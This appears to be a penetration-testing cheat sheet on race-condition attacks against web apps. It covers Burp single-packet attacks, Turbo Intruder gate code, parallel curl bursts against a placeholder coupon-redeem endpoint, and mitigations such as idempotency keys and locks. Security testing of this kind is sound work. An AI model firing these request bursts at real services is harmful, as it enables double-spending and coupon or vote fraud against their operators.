web-pentest
Race Conditions
Race-condition exploitation — limit-overrun targets, Burp single-packet attack, Turbo Intruder gating, parallel curl/GNU-parallel bursts, plus how to confirm and mitigate (idempotency, locks).
Targets (Limit Overrun) (3)
redeem a coupon / gift card twice
Use a one-time resource multiple times via concurrency
withdraw or transfer a balance twice simultaneously
Double-spend before the balance updates
register / vote / apply-promo twice
Beat uniqueness checks with parallel requests
Burp — Single-Packet Attack (2)
Repeater -> add tabs to a group -> "Send group in parallel"
Fire all requests together (single-packet attack, HTTP/2)
"Send group (single connection)"
Last-byte sync to minimise network jitter
Turbo Intruder (3)
for i in range(20): engine.queue(target.req, gate='race')
Queue N requests behind a gate
engine.openGate('race')
Release all gated requests at the same instant
template: race-single-packet.py
Use the bundled single-packet race template
curl / parallel (2)
seq 30 | xargs -P30 -I{} curl -s -X POST https://target.com/api/redeem -d 'code=PROMO' -b 'session=...'
Fire 30 parallel requests with xargs
parallel -j30 curl -s -X POST https://target.com/api/redeem ::: $(seq 30)
GNU parallel burst
Confirm & Mitigate (2)
look for: 2x side effects, inconsistent balances, duplicate records
How to confirm a successful race
fix: idempotency keys, DB unique constraints, SELECT ... FOR UPDATE locks
Defensive notes
Related Articles
5
Web Hacking
JSON and YAML Unsafe Deserialization
Deep technical analysis of insecure deserialization across Java, PHP, Python, and Node.js …
Web Hacking
Supply Chain Attacks
Deep technical guide to software supply chain attacks — dependency confusion, malicious np…
Web Hacking
Cross-Site Scripting Mastery
Complete XSS guide covering all attack types, filter bypasses, CSP evasion, cookie stealin…
Web Hacking
File Upload to RCE
Complete file upload exploitation guide — MIME bypass, double extension tricks, polyglot J…
Web Hacking
Advanced SSRF
Complete SSRF exploitation guide — AWS IMDSv1/v2 credential theft, GCP/Azure metadata, bli…
